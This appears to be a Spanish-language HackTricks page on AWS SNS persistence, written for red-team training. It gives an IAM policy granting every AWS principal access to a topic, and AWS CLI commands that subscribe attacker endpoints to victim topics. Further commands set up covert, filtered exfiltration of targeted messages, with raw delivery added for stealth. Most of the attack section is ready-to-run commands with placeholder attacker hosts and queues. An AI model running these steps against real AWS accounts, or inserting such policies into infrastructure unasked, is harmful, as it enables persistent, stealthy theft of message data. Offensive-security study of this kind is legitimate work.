AWS - SNS Persistence

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

SNS

Para más información consulta:

AWS - SNS Enum

Persistencia

Al crear un SNS topic debes indicar con una IAM policy quién tiene acceso de lectura y escritura. Es posible indicar cuentas externas, ARN of roles, o incluso “*”.
La siguiente política otorga a todo el mundo en AWS acceso de lectura y escritura en el SNS topic llamado MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Crear suscriptores

Para continuar exfiltrando todos los mensajes de todos los topics, un atacante podría crear suscriptores para todos los topics.

Tenga en cuenta que si el topic es de tipo FIFO, solo se pueden usar suscriptores que utilicen el protocolo SQS.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Covert, selective exfiltration via FilterPolicy on MessageBody

Un atacante con sns:Subscribe y sns:SetSubscriptionAttributes en un topic puede crear una suscripción SQS sigilosa que solo reenvía mensajes cuyo body JSON coincide con un filtro muy estricto (por ejemplo, {"secret":"true"}). Esto reduce el volumen y la detección mientras aún permite exfiltrating registros sensibles.

Potential Impact: Covert, low-noise exfiltration of only targeted SNS messages from a victim topic.

Steps (AWS CLI):

  • Asegúrate de que la policy de la cola SQS del atacante permita sqs:SendMessage desde el TopicArn de la víctima (Condition aws:SourceArn equals the TopicArn).
  • Crea la suscripción SQS al topic:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  • Configura el filtro para que opere sobre el message body y solo coincida con secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  • Sigilo opcional: habilita raw delivery para que solo la carga útil cruda llegue al receptor:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  • Validación: publica dos mensajes y confirma que solo el primero se entrega a la cola del atacante. Ejemplos de payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
  • Limpieza: unsubscribe y elimina la cola SQS del atacante si fue creada para pruebas de persistencia.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks